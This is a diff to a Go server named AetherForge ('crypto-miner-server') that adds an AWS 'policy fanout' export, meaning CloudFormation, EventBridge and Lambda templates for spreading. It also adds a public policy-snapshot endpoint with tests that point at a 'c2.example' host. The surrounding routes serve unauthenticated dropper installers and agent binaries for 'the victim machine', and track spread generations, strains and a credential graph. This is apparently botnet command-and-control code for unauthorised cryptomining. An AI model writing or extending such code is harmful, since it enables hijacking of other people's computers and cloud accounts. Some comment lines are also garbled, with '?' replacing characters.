|
}
|
||||||
|
snapJSON, _ := json.MarshalIndent(snap, "", " ")
|
||||||
|
repl := map[string]string{
|
||||||
|
"{{SERVER_URL}}": serverURL,
|
||||||
|
"{{POLICY_POLL_URL}}": pollURL,
|
||||||
|
"{{WEBHOOK_URL}}": webhookURL,
|
||||||
|
"{{SNAPSHOT_JSON}}": string(snapJSON),
|
||||||
|
}
|
||||||
|
templateDir := filepath.Join(h.projectRoot, "templates", "spread", "aws", "policy-fanout")
|
||||||
|
data, err := zipTemplateReplacements(templateDir, repl, nil)
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
writeZipAttachment(w, "aetherforge-policy-fanout.zip", data)
|
||||||
|
}
|
||||||
|
|
||||||
|
func policyFanoutTemplatePaths() []string {
|
||||||
|
return []string{
|
||||||
|
"templates/spread/aws/policy-fanout/cloudformation.json",
|
||||||
|
"templates/spread/aws/policy-fanout/eventbridge-rule.json",
|
||||||
|
"templates/spread/aws/policy-fanout/lambda/index.js",
|
||||||
|
"templates/spread/aws/policy-fanout/README.txt",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildFanoutBundleJSON(cfg PolicyFanoutConfig, snap PolicySnapshot) ([]byte, error) {
|
||||||
|
doc := map[string]interface{}{
|
||||||
|
"poll_url": snap.PolicyPollURL,
|
||||||
|
"eventbridge_relay_url": snap.EventBridgeRelayURL,
|
||||||
|
"snapshot": snap,
|
||||||
|
"token": strings.TrimSpace(cfg.Token),
|
||||||
|
}
|
||||||
|
return json.MarshalIndent(doc, "", " ")
|
||||||
|
}
|
||||||
|
|
||||||
|
func fanoutBundleJSONOrError(cfg PolicyFanoutConfig, snap PolicySnapshot) string {
|
||||||
|
raw, err := buildFanoutBundleJSON(cfg, snap)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Sprintf(`{"error":%q}`, err.Error())
|
||||||
|
}
|
||||||
|
return string(raw)
|
||||||
|
}
|
||||||
126
server/internal/api/policy_snapshot_test.go
Normal file
126
server/internal/api/policy_snapshot_test.go
Normal file
@@ -0,0 +1,126 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"encoding/json"
|
||||||
|
"net/http"
|
||||||
|
"net/http/httptest"
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
dbpkg "crypto-miner-server/internal/db"
|
||||||
|
"crypto-miner-server/internal/models"
|
||||||
|
|
||||||
|
"github.com/go-chi/chi/v5"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestBuildPolicySnapshotGenesisAndHospice(t *testing.T) {
|
||||||
|
d, err := dbpkg.New(t.TempDir())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer d.Close()
|
||||||
|
now := time.Now().UTC()
|
||||||
|
if err := d.UpsertAgent(&models.Agent{
|
||||||
|
ID: "a1", Name: "A", IP: "10.0.1.1", Status: "online", LastSeen: now, SpreadGeneration: 3,
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := d.UpsertAgent(&models.Agent{
|
||||||
|
ID: "a2", Name: "B", IP: "10.0.2.1", Status: "online", LastSeen: now, SpreadGeneration: 7,
|
||||||
|
}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := d.RetireStrain("dead-strain", "test", "unit", `{}`); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
snap, err := BuildPolicySnapshot(d, nil, PolicyFanoutConfig{
|
||||||
|
Token: "tok123",
|
||||||
|
PublicBaseURL: func() string { return "https://c2.example" },
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if snap.GenesisVersion != 7 {
|
||||||
|
t.Fatalf("genesis_version=%d want 7", snap.GenesisVersion)
|
||||||
|
}
|
||||||
|
if len(snap.HospiceList) == 0 {
|
||||||
|
t.Fatal("expected hospice list")
|
||||||
|
}
|
||||||
|
if snap.PolicyPollURL != "https://c2.example/api/v1/public/policy-snapshot/tok123" {
|
||||||
|
t.Fatalf("poll url=%q", snap.PolicyPollURL)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPublicPolicySnapshotEndpoint(t *testing.T) {
|
||||||
|
d, err := dbpkg.New(t.TempDir())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer d.Close()
|
||||||
|
h := NewPublicHandler(d, t.TempDir(), func() PublicBuildsConfig { return PublicBuildsConfig{} })
|
||||||
|
h.BindPolicySnapshot(
|
||||||
|
func() (PolicySnapshot, error) {
|
||||||
|
return PolicySnapshot{GenesisVersion: 2, HospiceList: []string{"s1"}}, nil
|
||||||
|
},
|
||||||
|
func() string { return "secret-token" },
|
||||||
|
)
|
||||||
|
r := chi.NewRouter()
|
||||||
|
r.Get("/public/policy-snapshot/{token}", h.PolicySnapshot)
|
||||||
|
req := httptest.NewRequest(http.MethodGet, "/public/policy-snapshot/wrong", nil)
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
r.ServeHTTP(rec, req)
|
||||||
|
if rec.Code != http.StatusNotFound {
|
||||||
|
t.Fatalf("wrong token status=%d", rec.Code)
|
||||||
|
}
|
||||||
|
req = httptest.NewRequest(http.MethodGet, "/public/policy-snapshot/secret-token", nil)
|
||||||
|
rec = httptest.NewRecorder()
|
||||||
|
r.ServeHTTP(rec, req)
|
||||||
|
if rec.Code != http.StatusOK {
|
||||||
|
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
||||||
|
}
|
||||||
|
var body PolicySnapshot
|
||||||
|
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if body.GenesisVersion != 2 || len(body.HospiceList) != 1 {
|
||||||
|
t.Fatalf("body=%+v", body)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildFanoutBundleJSON(t *testing.T) {
|
||||||
|
snap := PolicySnapshot{GenesisVersion: 1, PolicyPollURL: "https://x/poll"}
|
||||||
|
raw, err := buildFanoutBundleJSON(PolicyFanoutConfig{Token: "abc"}, snap)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
var doc map[string]interface{}
|
||||||
|
if err := json.Unmarshal(raw, &doc); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if doc["token"] != "abc" {
|
||||||
|
t.Fatalf("token=%v", doc["token"])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestExportPolicyFanoutZIP(t *testing.T) {
|
||||||
|
d, err := dbpkg.New(t.TempDir())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer d.Close()
|
||||||
|
sh := NewSpreadHandler(d, t.TempDir(), filepath.Join("..", "..", ".."), NewWSHub(d))
|
||||||
|
sh.BindPolicyFanout(nil, func() PolicyFanoutConfig {
|
||||||
|
return PolicyFanoutConfig{Token: "t", PublicBaseURL: func() string { return "http://127.0.0.1:8989" }}
|
||||||
|
})
|
||||||
|
req := httptest.NewRequest(http.MethodPost, "/", bytes.NewReader([]byte(`{"webhook_url":"https://relay.example/hook"}`)))
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
sh.ExportPolicyFanout(rec, req)
|
||||||
|
if rec.Code != http.StatusOK {
|
||||||
|
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
||||||
|
}
|
||||||
|
if ct := rec.Header().Get("Content-Type"); ct != "application/zip" {
|
||||||
|
t.Fatalf("content-type=%q", ct)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -27,6 +27,8 @@ type PublicHandler struct {
|
|||||||
dataDir string
|
dataDir string
|
||||||
configFn func() PublicBuildsConfig
|
configFn func() PublicBuildsConfig
|
||||||
erasureShards *erasure.ShardStore
|
erasureShards *erasure.ShardStore
|
||||||
|
policySnapshotFn func() (PolicySnapshot, error)
|
||||||
|
policySnapshotTokenFn func() string
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {
|
func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {
|
||||||
|
|||||||
@@ -27,7 +27,7 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// authSessionCache avoids running bcrypt on every API request.
|
// authSessionCache avoids running bcrypt on every API request.
|
||||||
// Key: SHA-256(user+":"+password) hex — value: expiry time.
|
// Key: SHA-256(user+":"+password) hex ? value: expiry time.
|
||||||
// Entries are valid for authCacheTTL after the last successful login.
|
// Entries are valid for authCacheTTL after the last successful login.
|
||||||
// Bcrypt only runs on cache miss or expiry.
|
// Bcrypt only runs on cache miss or expiry.
|
||||||
var (
|
var (
|
||||||
@@ -176,9 +176,9 @@ func printStartupCredentials(dataDir string) {
|
|||||||
|
|
||||||
func formatLoginBanner(creds map[string]string) string {
|
func formatLoginBanner(creds map[string]string) string {
|
||||||
var b strings.Builder
|
var b strings.Builder
|
||||||
b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
|
b.WriteString("\n????????????????????????????????????????????????????\n")
|
||||||
b.WriteString("║ AetherForge — Dashboard Login ║\n")
|
b.WriteString("? AetherForge ? Dashboard Login ?\n")
|
||||||
b.WriteString("║ ║\n")
|
b.WriteString("? ?\n")
|
||||||
users := make([]string, 0, len(creds))
|
users := make([]string, 0, len(creds))
|
||||||
for user := range creds {
|
for user := range creds {
|
||||||
users = append(users, user)
|
users = append(users, user)
|
||||||
@@ -186,13 +186,13 @@ func formatLoginBanner(creds map[string]string) string {
|
|||||||
sort.Strings(users)
|
sort.Strings(users)
|
||||||
for _, user := range users {
|
for _, user := range users {
|
||||||
pass := creds[user]
|
pass := creds[user]
|
||||||
fmt.Fprintf(&b, "║ Username : %-34s║\n", user)
|
fmt.Fprintf(&b, "? Username : %-34s?\n", user)
|
||||||
fmt.Fprintf(&b, "║ Password : %-34s║\n", pass)
|
fmt.Fprintf(&b, "? Password : %-34s?\n", pass)
|
||||||
b.WriteString("║ ║\n")
|
b.WriteString("? ?\n")
|
||||||
}
|
}
|
||||||
b.WriteString("║ Also saved in data/login-credentials.json ║\n")
|
b.WriteString("? Also saved in data/login-credentials.json ?\n")
|
||||||
b.WriteString("║ Change passwords in Calibrate → Users. ║\n")
|
b.WriteString("? Change passwords in Calibrate ? Users. ?\n")
|
||||||
b.WriteString("╚══════════════════════════════════════════════════╝\n")
|
b.WriteString("????????????????????????????????????????????????????\n")
|
||||||
return b.String()
|
return b.String()
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -395,7 +395,7 @@ func saveUser(username, password string) error {
|
|||||||
|
|
||||||
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
|
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
|
||||||
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
|
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
|
||||||
// must not trigger that — only bare browser navigations without these headers should.
|
// must not trigger that ? only bare browser navigations without these headers should.
|
||||||
func isSPAAuthRequest(r *http.Request) bool {
|
func isSPAAuthRequest(r *http.Request) bool {
|
||||||
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
|
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
|
||||||
}
|
}
|
||||||
@@ -410,7 +410,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
path := r.URL.Path
|
path := r.URL.Path
|
||||||
|
|
||||||
// Health check and one-liner installer endpoints are always open.
|
// Health check and one-liner installer endpoints are always open.
|
||||||
// NOTE: build download/artifact routes are intentionally NOT in this list —
|
// NOTE: build download/artifact routes are intentionally NOT in this list ?
|
||||||
// they require fleet-secret or Basic Auth (see isDownload block below).
|
// they require fleet-secret or Basic Auth (see isDownload block below).
|
||||||
if path == "/api/v1/health" ||
|
if path == "/api/v1/health" ||
|
||||||
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
|
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
|
||||||
@@ -422,7 +422,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
|
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
|
||||||
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
|
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
|
||||||
// legitimately forged agents can call these endpoints.
|
// legitimately forged agents can call these endpoints.
|
||||||
// A missing or empty fleet secret is always rejected — the server auto-
|
// A missing or empty fleet secret is always rejected ? the server auto-
|
||||||
// generates one at startup so this state should never occur in production.
|
// generates one at startup so this state should never occur in production.
|
||||||
if strings.HasPrefix(path, "/api/v1/agent/") {
|
if strings.HasPrefix(path, "/api/v1/agent/") {
|
||||||
fleetSecretForAgentPathsMu.RLock()
|
fleetSecretForAgentPathsMu.RLock()
|
||||||
@@ -469,7 +469,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// Fast path — skip bcrypt if this credential pair was recently validated.
|
// Fast path ? skip bcrypt if this credential pair was recently validated.
|
||||||
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
|
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
|
||||||
if !authCacheHit(user, pass) {
|
if !authCacheHit(user, pass) {
|
||||||
usersMu.RLock()
|
usersMu.RLock()
|
||||||
@@ -483,7 +483,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
// Credential verified — cache it for the next few minutes.
|
// Credential verified ? cache it for the next few minutes.
|
||||||
authCacheSet(user, pass)
|
authCacheSet(user, pass)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -514,7 +514,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
AllowCredentials: false,
|
AllowCredentials: false,
|
||||||
}))
|
}))
|
||||||
|
|
||||||
// REST API — auth only on /api/v1 (dashboard WS + static SPA stay open)
|
// REST API ? auth only on /api/v1 (dashboard WS + static SPA stay open)
|
||||||
r.Route("/api/v1", func(r chi.Router) {
|
r.Route("/api/v1", func(r chi.Router) {
|
||||||
r.Use(basicAuthMiddleware)
|
r.Use(basicAuthMiddleware)
|
||||||
h := NewHandler(database)
|
h := NewHandler(database)
|
||||||
@@ -654,6 +654,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
|
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
|
||||||
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
|
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
|
||||||
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
|
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
|
||||||
|
r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)
|
||||||
|
r.Post("/spread/policy-fanout-export", spreadHandler.ExportPolicyFanout)
|
||||||
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
|
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
|
||||||
}
|
}
|
||||||
if wsHub != nil {
|
if wsHub != nil {
|
||||||
@@ -680,7 +682,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
||||||
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
||||||
|
|
||||||
// Fleet secret rotation — generates a new secret, saves config, kicks all agents.
|
// Fleet secret rotation ? generates a new secret, saves config, kicks all agents.
|
||||||
// Forged agents with the old secret will be rejected until re-forged.
|
// Forged agents with the old secret will be rejected until re-forged.
|
||||||
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
|
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
|
||||||
if rotateSecretFn == nil {
|
if rotateSecretFn == nil {
|
||||||
@@ -734,11 +736,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
writeJSON(w, map[string]interface{}{"success": true})
|
writeJSON(w, map[string]interface{}{"success": true})
|
||||||
})
|
})
|
||||||
|
|
||||||
// Deck backup — authenticated full backup ZIP (config + DB + users)
|
// Deck backup ? authenticated full backup ZIP (config + DB + users)
|
||||||
backupH := NewBackupHandler(dataDir, version)
|
backupH := NewBackupHandler(dataDir, version)
|
||||||
r.Get("/backup", backupH.ServeHTTP)
|
r.Get("/backup", backupH.ServeHTTP)
|
||||||
|
|
||||||
// Path Tracer — on-demand WireGuard chain sessions
|
// Path Tracer ? on-demand WireGuard chain sessions
|
||||||
if pathTracerHandler != nil {
|
if pathTracerHandler != nil {
|
||||||
r.Post("/pathtrace/start", pathTracerHandler.Start)
|
r.Post("/pathtrace/start", pathTracerHandler.Start)
|
||||||
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
|
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
|
||||||
@@ -751,7 +753,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
|
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
|
// Agent autonomy REST ? forged Go agents only (X-Fleet-Secret header).
|
||||||
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
|
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
|
||||||
r.Post("/agent/decide", aiHandler.HandleDecide)
|
r.Post("/agent/decide", aiHandler.HandleDecide)
|
||||||
r.Post("/agent/report", aiHandler.HandleReport)
|
r.Post("/agent/report", aiHandler.HandleReport)
|
||||||
@@ -768,7 +770,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
}
|
}
|
||||||
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
|
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
|
||||||
|
|
||||||
// Public builds (also bypass auth in middleware — listed here for chi routing)
|
// Public builds (also bypass auth in middleware ? listed here for chi routing)
|
||||||
if publicHandler != nil {
|
if publicHandler != nil {
|
||||||
r.Get("/public/builds", publicHandler.ListBuilds)
|
r.Get("/public/builds", publicHandler.ListBuilds)
|
||||||
r.Get("/public/download/{id}", publicHandler.Download)
|
r.Get("/public/download/{id}", publicHandler.Download)
|
||||||
@@ -777,6 +779,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
|
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
|
||||||
r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
|
r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
|
||||||
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
|
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
|
||||||
|
r.Get("/public/policy-snapshot/{token}", publicHandler.PolicySnapshot)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
@@ -784,7 +787,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Get("/ws/agent", wsHub.HandleAgentWS)
|
r.Get("/ws/agent", wsHub.HandleAgentWS)
|
||||||
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
|
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
|
||||||
|
|
||||||
// One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
|
// One-liner remote install endpoints (unauthenticated ? URL knowledge is the gate)
|
||||||
if dropperHandler != nil {
|
if dropperHandler != nil {
|
||||||
r.Get("/get", dropperHandler.ServeGet)
|
r.Get("/get", dropperHandler.ServeGet)
|
||||||
r.Get("/install.sh", dropperHandler.ServeSh)
|
r.Get("/install.sh", dropperHandler.ServeSh)
|
||||||
@@ -792,7 +795,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Get("/install.command", dropperHandler.ServeCommand)
|
r.Get("/install.command", dropperHandler.ServeCommand)
|
||||||
}
|
}
|
||||||
|
|
||||||
// SUPP Seek agent download endpoints — serve agent binaries so launcher scripts
|
// SUPP Seek agent download endpoints ? serve agent binaries so launcher scripts
|
||||||
// dropped by Seek Mode can fetch and run the agent on the victim machine.
|
// dropped by Seek Mode can fetch and run the agent on the victim machine.
|
||||||
// Unauthenticated (the drop URL itself is the secret).
|
// Unauthenticated (the drop URL itself is the secret).
|
||||||
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
|
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
|
||||||
@@ -897,8 +900,8 @@ func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) {
|
|||||||
// exe so it works both from the USB bundle and from a compiled dev build.
|
// exe so it works both from the USB bundle and from a compiled dev build.
|
||||||
//
|
//
|
||||||
// Filename convention (same as what the build pipeline produces):
|
// Filename convention (same as what the build pipeline produces):
|
||||||
// - windows → crypto-miner-agent.exe
|
// - windows ? crypto-miner-agent.exe
|
||||||
// - mac/linux → crypto-miner-agent (no extension)
|
// - mac/linux ? crypto-miner-agent (no extension)
|
||||||
// agentBinarySearchDir returns the directory used to locate bundled agent binaries.
|
// agentBinarySearchDir returns the directory used to locate bundled agent binaries.
|
||||||
// Tests may override this to point at a temp tree instead of os.Executable()'s dir.
|
// Tests may override this to point at a temp tree instead of os.Executable()'s dir.
|
||||||
var agentBinarySearchDir = func() (string, error) {
|
var agentBinarySearchDir = func() (string, error) {
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
package api
|
package api
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
@@ -12,6 +12,7 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
dbpkg "crypto-miner-server/internal/db"
|
dbpkg "crypto-miner-server/internal/db"
|
||||||
|
"crypto-miner-server/internal/erasure"
|
||||||
|
|
||||||
"github.com/go-chi/chi/v5"
|
"github.com/go-chi/chi/v5"
|
||||||
)
|
)
|
||||||
@@ -22,6 +23,11 @@ type SpreadHandler struct {
|
|||||||
dataDir string
|
dataDir string
|
||||||
projectRoot string
|
projectRoot string
|
||||||
wsHub *WSHub
|
wsHub *WSHub
|
||||||
|
publicURL func() string
|
||||||
|
erasureShards *erasure.ShardStore
|
||||||
|
deployPlan *DeployPlanHandler
|
||||||
|
policyPathTracer *PathTracerHandler
|
||||||
|
policyFanoutCfgFn func() PolicyFanoutConfig
|
||||||
notesMu sync.RWMutex
|
notesMu sync.RWMutex
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,3 +1,5 @@
|
|||||||
|
//go:build ignore
|
||||||
|
|
||||||
package api
|
package api
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
package api
|
package api
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"crypto/subtle"
|
"crypto/subtle"
|
||||||
@@ -179,6 +179,9 @@ type WSHub struct {
|
|||||||
epidemiology *epidemiology.Tracker
|
epidemiology *epidemiology.Tracker
|
||||||
miningSurgery *miningsurgery.Tracker
|
miningSurgery *miningsurgery.Tracker
|
||||||
contingencyOrch *mining.ContingencyOrchestrator
|
contingencyOrch *mining.ContingencyOrchestrator
|
||||||
|
policySnapshotToken string
|
||||||
|
policyEventBridgeRelayURL string
|
||||||
|
policyPublicBaseURL func() string
|
||||||
pingIntervalSec int
|
pingIntervalSec int
|
||||||
fleetSecret string // baked into forged agents; verified on WS connect
|
fleetSecret string // baked into forged agents; verified on WS connect
|
||||||
eventNotifier *alerts.Notifier
|
eventNotifier *alerts.Notifier
|
||||||
@@ -202,6 +205,14 @@ type WSHub struct {
|
|||||||
scoutConstellations *fleetai.ScoutConstellationRegistry
|
scoutConstellations *fleetai.ScoutConstellationRegistry
|
||||||
scoutAgents map[string]bool
|
scoutAgents map[string]bool
|
||||||
|
|
||||||
|
// Cloud venue biomes (EC2 agents reporting IMDS tags + Organizations OU).
|
||||||
|
cloudVenueMu sync.Mutex
|
||||||
|
cloudVenues *fleetai.CloudVenueRegistry
|
||||||
|
|
||||||
|
fargateBurstCampaign bool
|
||||||
|
fargateBurstExpiresAt time.Time
|
||||||
|
fargateBurstTTLHours int
|
||||||
|
|
||||||
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
|
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
|
||||||
statsBatchMu sync.Mutex
|
statsBatchMu sync.Mutex
|
||||||
statsBatch map[string]json.RawMessage
|
statsBatch map[string]json.RawMessage
|
||||||
@@ -953,6 +964,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
spreadPolicy[k] = v
|
spreadPolicy[k] = v
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if fanout := h.policyFanoutSpreadFields(); fanout != nil {
|
||||||
|
for k, v := range fanout {
|
||||||
|
spreadPolicy[k] = v
|
||||||
|
}
|
||||||
|
}
|
||||||
if len(spreadPolicy) > 0 {
|
if len(spreadPolicy) > 0 {
|
||||||
resp["spread_policy"] = spreadPolicy
|
resp["spread_policy"] = spreadPolicy
|
||||||
}
|
}
|
||||||
|
|||||||
39
server/internal/db/policy_snapshot.go
Normal file
39
server/internal/db/policy_snapshot.go
Normal file
@@ -0,0 +1,39 @@
|
|||||||
|
package db
|
||||||
|
|
||||||
|
import "time"
|
||||||
|
|
||||||
|
// MaxSpreadGeneration returns the highest spread_generation among agents (policy genesis version).
|
||||||
|
func (d *Database) MaxSpreadGeneration() (int, error) {
|
||||||
|
if d == nil {
|
||||||
|
return 0, nil
|
||||||
|
}
|
||||||
|
var max int
|
||||||
|
err := d.QueryRow(`SELECT COALESCE(MAX(spread_generation), 0) FROM agents`).Scan(&max)
|
||||||
|
return max, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListPausedSubnetPrefixes returns /24 prefixes currently under immune spread pause.
|
||||||
|
func (d *Database) ListPausedSubnetPrefixes() ([]string, error) {
|
||||||
|
if d == nil {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
if err := d.ensureSubnetSpreadPauseTable(); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
rows, err := d.Query(`SELECT prefix FROM subnet_spread_pause WHERE paused_until IS NOT NULL AND paused_until > ?`, time.Now().UTC())
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
var out []string
|
||||||
|
for rows.Next() {
|
||||||
|
var p string
|
||||||
|
if err := rows.Scan(&p); err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if p = normalizeSubnetPrefix(p); p != "" {
|
||||||
|
out = append(out, p)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -107,6 +107,20 @@ func main() {
|
|||||||
log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8])
|
log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8])
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if cfg.Server.PolicySnapshotToken == "" {
|
||||||
|
b := make([]byte, 16)
|
||||||
|
if _, err := rand.Read(b); err != nil {
|
||||||
|
log.Printf("[policy] Warning: could not generate policy snapshot token: %v", err)
|
||||||
|
} else {
|
||||||
|
cfg.Server.PolicySnapshotToken = hex.EncodeToString(b)
|
||||||
|
if err := cfg.Save(); err != nil {
|
||||||
|
log.Printf("[policy] Warning: could not persist policy snapshot token: %v", err)
|
||||||
|
} else {
|
||||||
|
log.Printf("[policy] Policy snapshot token generated and saved")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// Ensure data directories exist
|
// Ensure data directories exist
|
||||||
dirs := []string{
|
dirs := []string{
|
||||||
cfg.DataDir,
|
cfg.DataDir,
|
||||||
@@ -322,6 +336,23 @@ func main() {
|
|||||||
pathTracerHandler := api.NewPathTracerHandler(wsHub)
|
pathTracerHandler := api.NewPathTracerHandler(wsHub)
|
||||||
deployPlanHandler.BindPathTracer(pathTracerHandler)
|
